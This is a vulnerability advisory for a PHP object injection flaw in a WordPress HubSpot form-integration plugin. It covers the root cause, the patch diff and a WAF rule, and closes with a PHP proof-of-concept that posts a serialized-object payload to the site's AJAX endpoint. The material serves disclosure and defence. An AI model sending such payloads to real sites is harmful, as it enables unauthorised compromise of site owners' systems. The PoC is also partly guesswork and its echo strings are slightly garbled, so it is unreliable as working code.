Atomic Edge analysis of CVE-2026-49763: This vulnerability allows unauthenticated PHP Object Injection in the Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress versions up to and including 1.3.7. The flaw resides in how the plugin processes form field values, specifically calling maybe_unserialize() on user-supplied input. An attacker can inject arbitrary PHP objects, potentially leading to code execution, file deletion, or data theft if a suitable POP chain exists. The CVSS score is 8.1 (High).
The root cause is a call to maybe_unserialize() on line 976 of cf7-hubspot.php, within the plugin’s submission handling logic. The vulnerable code path is triggered when processing form field values. Specifically, at line 973, the plugin checks if $value is not an array. If it is not an array, at line 976, it calls maybe_unserialize($value). This takes untrusted input (the $value variable) and deserializes it without any sanitization or validation. The $value originates from user-submitted form data, making it fully controllable by an attacker. The function post() at line 978 handles $_REQUEST[$field_id] as another entry point. The plugin’s custom CRM integration framework processes the data via its internal REST or AJAX handlers.
To exploit this vulnerability, an unauthenticated attacker sends a crafted HTTP request to the plugin’s form submission endpoint. The attacker targets the field data parameter that the plugin processes when it receives a form submission, typically via POST requests to the plugin’s AJAX handler. The attacker must include a serialized PHP object payload in one of the field values. For example, an attacker could POST to the vulnerable endpoint with a payload such as: field_id=O:10:”MyClass”:0:{} (where MyClass is a class with a known POP chain). The plugin then calls maybe_unserialize() on this value, triggering the deserialization. Since the plugin does not require authentication, any visitor to the site can perform this attack.
The patch removes the vulnerable deserialization call entirely. In version 1.3.8, line 976 is commented out: // $value=maybe_unserialize($value);. Before the patch, the plugin would attempt to unserialize any non-array value, making it vulnerable to object injection. After the patch, the plugin no longer unserializes user-supplied data. The change is minimal but effective. The plugin now treats all form field values as simple strings or arrays, preventing any deserialization attack vector. No other code changes are present.
If successfully exploited, an attacker can inject arbitrary PHP objects. The immediate impact depends on available POP (Property Oriented Programming) chains in the WordPress core, other plugins, or themes. If a suitable chain exists, the attacker may be able to execute arbitrary code, delete arbitrary files, or retrieve sensitive database information. This could lead to complete site compromise. Even without a POP chain, the deserialization of untrusted data is a critical security risk and a common vector for remote code execution in WordPress environments.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-hubspot/cf7-hubspot.php
+++ b/cf7-hubspot/cf7-hubspot.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form HubSpot
* Description: Integrates Contact Form 7 and <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with HubSpot allowing form submissions to be automatically sent to your HubSpot account
-* Version: 1.3.7
+* Version: 1.3.8
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-hubspot-plugin/
@@ -25,7 +25,7 @@
public $crm_name = "hubspot";
public $id = "vxcf_hubspot";
public $domain = "vxcf-hubspot";
- public $version = "1.3.7";
+ public $version = "1.3.8";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_hubspot";
@@ -973,7 +973,7 @@
$value=$value['value'];
}
if(!is_array($value)){
- $value=maybe_unserialize($value);
+ // $value=maybe_unserialize($value);
}
}else if(isset($_REQUEST[$field_id])){
$value=$this->post($field_id);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-49763
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49763: Integration for HubSpot and CF7 - PHP Object Injection Attack',severity:'CRITICAL',tag:'CVE-2026-49763'"
SecRule ARGS_POST:action "@streq vxcf_hubspot_submission" "chain"
SecRule ARGS_POST "/^O:[0-9]+:"[a-zA-Z0-9_]+:"/" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49763 - Integration for HubSpot and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.3.7 - Unauthenticated PHP Object Injection
// Configuration: Change this to the target WordPress site URL (no trailing slash)
$target_url = 'http://example.com';
// The vulnerable endpoint - plugin's AJAX handler for form submissions
$endpoint = $target_url . '/wp-admin/admin-ajax.php';
// Create a serialized PHP object payload. This is a placeholder.
// An attacker would replace 'MyClass' with a class that has a known POP chain.
// For demonstration, we use a simple object that does nothing.
class PlaceholderObject {
public $data = 'test';
}
$payload = new PlaceholderObject();
// Serialize the object with full class metadata (PHP serialization)
$serialized_payload = serialize($payload);
echo "[+] Target: $target_urln";
echo "[+] Sending serialized payload: $serialized_payloadn";
// Prepare POST data. The vulnerable parameter 'field_id' is the name of a form field.
// The plugin processes $_REQUEST data and calls maybe_unserialize() on non-array values.
$post_data = array(
'action' => 'vxcf_hubspot_submission', // This is the AJAX action hook name (likely)
'field_id' => $serialized_payload,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-PoC/1.0'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response body (truncated): " . substr($response, 0, 500) . "n";
// Check if the request went through (the plugin may not respond with success/failure)
if ($response !== false) {
echo "[+] Request completed. The plugin processed the serialized payload.n";
} else {
echo "[-] Request failed.n";
}
?>
